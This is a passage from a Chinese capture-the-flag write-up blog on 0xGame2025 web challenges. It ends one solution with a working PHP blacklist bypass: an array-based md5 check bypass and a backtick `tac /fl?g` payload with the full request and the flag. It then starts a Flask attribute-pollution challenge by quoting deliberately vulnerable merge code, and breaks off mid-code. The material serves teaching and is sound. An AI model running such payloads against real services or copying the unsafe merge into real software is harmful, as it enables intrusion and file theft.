&lt;li&gt;在该运行环境下，向 &lt;code&gt;md5()&lt;&#x2F;code&gt; 传入数组参数会产生一条 Warning，但在 &lt;code&gt;error_reporting(0)&lt;&#x2F;code&gt; 下被隐藏，同时 &lt;code&gt;md5($arr)&lt;&#x2F;code&gt; 的返回值为 &lt;code&gt;NULL&lt;&#x2F;code&gt;（未开启严格类型错误）。&lt;&#x2F;li&gt;
&lt;li&gt;若同时令 &lt;code&gt;rce1&lt;&#x2F;code&gt; 与 &lt;code&gt;rce2&lt;&#x2F;code&gt; 都为数组，则有：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;md5($rce1) === md5($rce2)&lt;&#x2F;code&gt; 等价于 &lt;code&gt;NULL === NULL&lt;&#x2F;code&gt;，成立；&lt;&#x2F;li&gt;
&lt;li&gt;又由于两个数组的内容不同（如 &lt;code&gt;[1]&lt;&#x2F;code&gt; 与 &lt;code&gt;[2]&lt;&#x2F;code&gt;），所以 &lt;code&gt;$rce1 !== $rce2&lt;&#x2F;code&gt; 也成立。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;这样即可稳定通过 md5 检查门槛，无需真正构造 MD5 碰撞对。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;绕过命令黑名单与输出：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;黑名单包含 &lt;code&gt;flag&lt;&#x2F;code&gt; 与 &lt;code&gt;cat&lt;&#x2F;code&gt;、&lt;code&gt;ls&lt;&#x2F;code&gt;、&lt;code&gt;echo&lt;&#x2F;code&gt; 等关键词与字符，但并未禁止反引号执行（&lt;code&gt;\``）及&lt;&#x2F;code&gt;die()`。&lt;&#x2F;li&gt;
&lt;li&gt;我们可以使用反引号执行 shell 命令，并用 &lt;code&gt;die()&lt;&#x2F;code&gt; 输出执行结果。&lt;&#x2F;li&gt;
&lt;li&gt;为避免在 payload 中出现 &lt;code&gt;flag&lt;&#x2F;code&gt; 字面量，可使用单字符通配符 &lt;code&gt;?&lt;&#x2F;code&gt;：&lt;code&gt;&#x2F;fl?g&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;选择未被列入黑名单的命令 &lt;code&gt;tac&lt;&#x2F;code&gt; 读取文件：&lt;code&gt;tac &#x2F;fl?g&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;综合得到安全过检的 payload：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;php&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;die&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;`tac &#x2F;fl?g`&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;满足条件的整体请求：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;GET：&lt;code&gt;rce1[]=1&lt;&#x2F;code&gt;（数组）&lt;&#x2F;li&gt;
&lt;li&gt;POST：&lt;code&gt;rce2[]=2&lt;&#x2F;code&gt;（数组）、&lt;code&gt;rce3=die(&lt;&#x2F;code&gt;tac &#x2F;fl?g&lt;code&gt;);&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;zi-dong-hua-jiao-ben-3&quot;&gt;自动化脚本&lt;&#x2F;h4&gt;
&lt;p&gt;已编写脚本：&lt;code&gt;[0xGame2025]RCE1&#x2F;solution&#x2F;solution.py&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;运行（建议使用 uv 以独立环境运行）：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;uv&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; run&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; [0xGame2025]RCE1&#x2F;solution&#x2F;solution.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出示例（截断）：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0xGame{This_is_Your_First_Stop_to_RCE!!!}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;guan-jian-xi-jie-yu-tui-dao&quot;&gt;关键细节与推导&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;关于 $md5$ 的严格相等：题目用 &lt;code&gt;===&lt;&#x2F;code&gt;，常见的“0e 魔法哈希”仅在 &lt;code&gt;==&lt;&#x2F;code&gt; 时才会绕过，比对为数值 $0$。因此这里不适用“魔法哈希”，需要利用传入数组触发 `md5($arr) \to NULL$ 的行为（在该环境配置下成立）。&lt;&#x2F;li&gt;
&lt;li&gt;黑名单正则：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;\d&lt;&#x2F;code&gt; 禁止任何数字，阻断了 &lt;code&gt;chr(… )&lt;&#x2F;code&gt; 一类构造；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;[\$%&amp;amp;#@*]&lt;&#x2F;code&gt; 禁止若干常见特殊字符；&lt;&#x2F;li&gt;
&lt;li&gt;明确列举了众多命令&#x2F;函数名；&lt;&#x2F;li&gt;
&lt;li&gt;但未覆盖 &lt;code&gt;tac&lt;&#x2F;code&gt;、&lt;code&gt;die&lt;&#x2F;code&gt;、以及反引号执行。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;输出渠道：&lt;code&gt;echo&lt;&#x2F;code&gt; 被禁，但 &lt;code&gt;die($s)&lt;&#x2F;code&gt; 会输出参数后终止脚本，满足需求。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;chang-shi-ji-lu&quot;&gt;尝试记录&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;首先直接传 &lt;code&gt;rce1=r&amp;amp; rce2=r&lt;&#x2F;code&gt; 无法满足 &lt;code&gt;rce1 !== rce2&lt;&#x2F;code&gt; 条件；&lt;&#x2F;li&gt;
&lt;li&gt;尝试“魔法哈希”对在 &lt;code&gt;===&lt;&#x2F;code&gt; 下失败；&lt;&#x2F;li&gt;
&lt;li&gt;复核环境：数组传入 &lt;code&gt;md5()&lt;&#x2F;code&gt; 不会触发致命错误（被 &lt;code&gt;error_reporting(0)&lt;&#x2F;code&gt; 隐去），返回值为 &lt;code&gt;NULL&lt;&#x2F;code&gt;，于是想到使用数组构造“相等的 md5 值、但不等的原值”。&lt;&#x2F;li&gt;
&lt;li&gt;在命令选择上，排除了 &lt;code&gt;cat&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;ls&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;rev&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;nl&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;sort&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;strings&lt;&#x2F;code&gt; 等黑名单项，采用 &lt;code&gt;tac &#x2F;fl?g&lt;&#x2F;code&gt; 并通过通配符规避 &lt;code&gt;flag&lt;&#x2F;code&gt; 常量。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;zui-zhong-da-an&quot;&gt;最终答案&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;flag：&lt;code&gt;$0xGame{This_is_Your_First_Stop_to_RCE!!!}$&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;0xgame2025-lemon-rev-web&quot;&gt;0xGame2025 Lemon_Rev（Web）&lt;&#x2F;h3&gt;
&lt;p&gt;本题是一道典型“对象属性污染（object attribute pollution）→ 文件读取（LFI）”的 Flask&#x2F;Jinja 利用。核心并非 JavaScript 的“原型链污染”，而是 Python 语境下通过不安全的递归 merge 将用户提供的 JSON 写入到应用对象图，进而篡改 Flask 应用的内部配置（如 &lt;code&gt;static_folder&lt;&#x2F;code&gt; 或 Jinja loader），实现任意文件读取。&lt;&#x2F;p&gt;
&lt;p&gt;本文面向教学，分三部分：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;从代码出发做漏洞根因分析，并用简洁的数学化表达描述合并过程；&lt;&#x2F;li&gt;
&lt;li&gt;给出可靠的两步利用链，并记录尝试与取舍；&lt;&#x2F;li&gt;
&lt;li&gt;对照官方文档解释 Python 函数对象 &lt;code&gt;__globals__&lt;&#x2F;code&gt;、内置 &lt;code&gt;setattr&lt;&#x2F;code&gt;、&lt;code&gt;os.path.exists&lt;&#x2F;code&gt; 与 Flask &lt;code&gt;static_folder&lt;&#x2F;code&gt;、Jinja &lt;code&gt;FileSystemLoader&lt;&#x2F;code&gt; 等关键点。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h4 id=&quot;1-ti-mu-yu-dai-ma-fu-pan&quot;&gt;1. 题目与代码复盘&lt;&#x2F;h4&gt;
&lt;p&gt;题面（简化排版，完整见 &lt;code&gt;task&#x2F;attachment.txt&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;from&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; flask&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; import&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; Flask&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; request&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; render_template&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;import&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; json&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; os&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;app&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt; Flask&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-variable z-magic z-python&quot;&gt;__name__&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type z-function z-python&quot;&gt;def&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; merge&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt;src&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt; dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; k&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; v&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt; in&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; src&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;items&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt; hasattr&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;#39;__getitem__&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;            if&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;get&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;k&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-logical z-python&quot;&gt; and&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt; type&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;v&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt; dict&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;                merge&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;v&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt; dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;get&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;k&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;            else&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-meta z-indexed-name z-python&quot;&gt;                dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;k&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;]&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; v&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;        elif&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt; hasattr&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt; k&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-logical z-python&quot;&gt; and&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt; type&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;v&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt; dict&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;            merge&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;v&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt; getattr&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt; k&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;        else&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;            setattr&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt; k&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt; v&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type&quot;&gt;class&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-type&quot;&gt; Dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type z-function z-python&quot;&gt;    def&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-magic z-python&quot;&gt; __init__&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter z-function z-language z-special z-self z-python&quot;&gt;self&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;        pass&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;Game0x&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt; Dst&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-decorator z-python z-entity z-name z-function z-decorator z-python&quot;&gt;@app&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function z-decorator z-python&quot;&gt;route&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;#39;&#x2F;&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt; methods&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;#39;POST&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;#39;GET&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type z-function z-python&quot;&gt;def&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; index&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; request&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;data&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;        merge&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;json&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;loads&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;request&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;data&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;),&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt; Game0x&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt; render_template&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;#39;index.html&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt; Game0x&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;Game0x&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-decorator z-python z-entity z-name z-function z-decorator z-python&quot;&gt;@app&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function z-decorator z-python&quot;&gt;route&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;#39;&#x2F;&amp;lt;path:path&amp;gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type z-function z-python&quot;&gt;def&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; render_page&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt;path&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-python z-keyword z-operator z-logical z-python&quot;&gt;    if not&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; os&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;path&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;exists&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;#39;templates&#x2F;&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; +&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt; path&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
